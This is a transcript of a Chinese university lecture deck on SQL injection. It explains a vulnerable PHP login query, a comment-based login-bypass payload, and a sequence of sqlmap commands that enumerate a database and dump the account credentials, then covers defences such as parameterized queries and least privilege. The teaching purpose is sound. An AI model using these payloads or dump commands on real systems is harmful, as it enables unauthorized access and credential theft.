sql injection

35
系統安全 Model 11-4. 資料隱碼攻擊(SQL Injection報告者: I3B17 紀冠宇

Upload: tatung-university

Post on 25-May-2015

392 views

Category:

Technology


3 download

DESCRIPTION

SQL Injection introduction in TTU for System Security(I4050)

TRANSCRIPT

Page 1: SQL Injection

系統安全 Model 11-4. 資料隱碼攻擊(SQL Injection)

報告者: I3B17 紀冠宇

Page 2: SQL Injection

講者介紹⼤大同⼤大學 資⼯工3B 紀冠宇

曾任:

慧友資訊 IP系統開發部 ⼯工讀⽣生

現任:

緯捷科技 ⼯工讀

⼯工程濕(x)筆記 站⻑⾧長

專⻑⾧長:

C/C++/Java/PHP

Page 3: SQL Injection

在開始之前……先談談這堂課「會有些什麼」

關聯式資料庫介紹(以MySQL為例)

SQL語法基本介紹

SQL Injection基本⼿手法

SQL Injection ⾃自動化測試

SQL Injection防禦⼿手法(以PHP為例)

Page 4: SQL Injection

在開始之前……

先說下這堂課的基本資料:

Demo網址:

http://ttudemo.lionfree.net/sqli

程式碼:

https://github.com/ChiVincent/TTU/tree/master/Demo/SystemSecurity/SQL_Injection

Page 5: SQL Injection

在開始之前……

再說說這堂課你可以幹嘛

拿出你的筆電玩

看要玩我的Demo還是打Game都可

拿出你的筆記抄

你有沒有在聽我不太會管

就不要吵到我就好了(o

Page 6: SQL Injection

在開始之前……

然後講講這堂課你不可以幹嘛

⿊黑掉講師的電腦,或實體攻擊講師 QAQ

⿊黑掉你隔壁同學的電腦或登⼊入樓下學妹的FB

⿊黑掉別⼈人的網站

偵九關⼼心您 ^w^

Page 7: SQL Injection

在開始之前……

最後,最最重要的事項

記住你想記住的東⻄西,還有這張投影⽚片

忘掉所有該忘掉的事

放⼼心我會提醒你的 owo

Page 8: SQL Injection

關聯式資料庫

將有關係的資料串接在⼀一起

以表格為基礎的資料儲存體

Page 9: SQL Injection
Page 10: SQL Injection

SQL 語法介紹SELECT:取得資料庫已存在資料

SELECT username FROM account WHERE uid=1;

從account這個表格中,取得uid為1的username

UPDATE:修改資料庫已存在資料

UPDATE account SET username=‘abcde’ WHERE uid=1;

從account這個表格中,將uid為1的username修改為abcde

Page 11: SQL Injection

SQL 語法介紹INSERT:新增⼀一筆資料

INSERT INTO account (username) VALUES (‘abcde’);

新增⼀一筆username為’abcde’的資料到account表格

DELETE:刪除⼀一筆資料

DELETE FROM account WHERE uid=1;

從account刪除uid=1的資料

Page 12: SQL Injection

嗯……終於要進⼊入正題了

Page 13: SQL Injection

資料隱碼攻擊(SQL Injection )

⾸首先我們要先知道⼀一件事……

使⽤用者的資料⼀一定不可信

Page 14: SQL Injection

資料隱碼攻擊(SQL Injection )

假如有個登⼊入⾴頁⾯面SQL指令是這樣的……

SELECT * FROM account WHERE username=‘’ AND password = ‘’

解讀為:從 account表格中選擇username=‘’

且password=‘’的資料

Page 15: SQL Injection

資料隱碼攻擊(SQL Injection )

現在我們把PHP的參數丟進去

$sql = "SELECT * FROM account WHERE

username='".$_POST['username']."' AND password = '".$_POST['password']."'";

Page 16: SQL Injection

資料隱碼攻擊(SQL Injection )

⼀一切都看起來很合理,「看起來」

SELECT * FROM account WHERE username=‘demouser’ AND password = ‘demopass’;

Page 17: SQL Injection

資料隱碼攻擊(SQL Injection )

但是今天使⽤用者⼿手賤,輸⼊入了⼀一些奇怪的資料

$_POST[‘username’] = “1’ OR uid=‘1’/*”;

$_POST[‘password’] = “*/ OR password=‘”;

Page 18: SQL Injection

資料隱碼攻擊(SQL Injection )

於是SQL變成了……

$sql = “SELECT * FROM account WHERE username=‘."1' OR uid='1'/*".' AND password = ‘."*/ OR password=' ".'";

我們來⾼高亮⼀一下顏⾊色

SELECT * FROM account WHERE username='1' OR uid='1'/*’ AND password = ‘*/ OR password=";

Page 19: SQL Injection

等等,剛剛發⽣生了什麼事?!

Page 20: SQL Injection

資料隱碼攻擊(SQL Injection )

SELECT * FROM account WHERE username='1' OR uid='1'/*’ AND password = ‘*/ OR password=‘’;

這⾏行SQL到底執⾏行起來是怎樣呢……

SELECT * FROM account WHERE username='1' OR uid=‘1' OR password=‘’;

解讀為:從account表格中選取username=‘1’或uid=‘1’或password=‘’該列的所有資料

Page 21: SQL Injection

Live Demo

Page 22: SQL Injection

SQL Injection ⾃自動化測試

採⽤用 sqlmap 檢測⼯工具

可⾃自訂多樣參數,並確實進⾏行SQL Injection測試

Page 23: SQL Injection

SQL Injection ⾃自動化測試

基本指令 -u :設定測試⾴頁⾯面

sqlmap -u “http://localhost/login.php/“

Page 24: SQL Injection

SQL Injection ⾃自動化測試基本指令 --data:⽤用於POST參數測試

設定參數內容

sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1”;

Page 25: SQL Injection

SQL Injection ⾃自動化測試基本指令 -p:設定參數名稱

sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password;

Page 26: SQL Injection

SQL Injection ⾃自動化測試基本指令 --dbs:列出資料庫表

sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password --dbs

Page 27: SQL Injection

SQL Injection ⾃自動化測試基本指令 -D --tables:指定資料庫,查詢其表格。

sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password -D test --tables

Page 28: SQL Injection

SQL Injection ⾃自動化測試基本指令 -D db -T tb --columns:指定資料庫、表格,查詢其欄位。

sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password -D test -T account --columns

Page 29: SQL Injection

SQL Injection ⾃自動化測試基本指令 -D db -T tb -C col --dump:指定資料庫、表格、欄位,下載資料。

sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password -D test -T account -C “uid,username,password” --dump

Page 30: SQL Injection

Live Demo

Page 31: SQL Injection

SQL Injection的危險

資料庫資料外洩

資料被竄改

資料被刪除

資料被亂加

Page 32: SQL Injection

SQL Injection防範

⼀一、觀念上

使⽤用者資料不可信

不管是GET/POST資料,還是cookie都是

甚⾄至是使⽤用者資訊都不可信

資料庫權限請依「最⼩小權限原則」劃分

沒⽤用到就不要給權限

Page 33: SQL Injection

SQL Injection防範⼆二、實作上(以PHP為例)

拋棄不安全的程式寫法

在php5.3之後,mysql_函式為不建議再使⽤用

在php5.5之後,mysql_函式已宣告不再使⽤用

建議改為mysqli及PDO寫法

就算是mysqli或PDO寫法也要使⽤用parameterized query

或是使⽤用Database Interface

Page 34: SQL Injection

Live Demo

Page 35: SQL Injection

謝謝各位 _(:3UL)_

我們約好囉,不該記得的請全部忘掉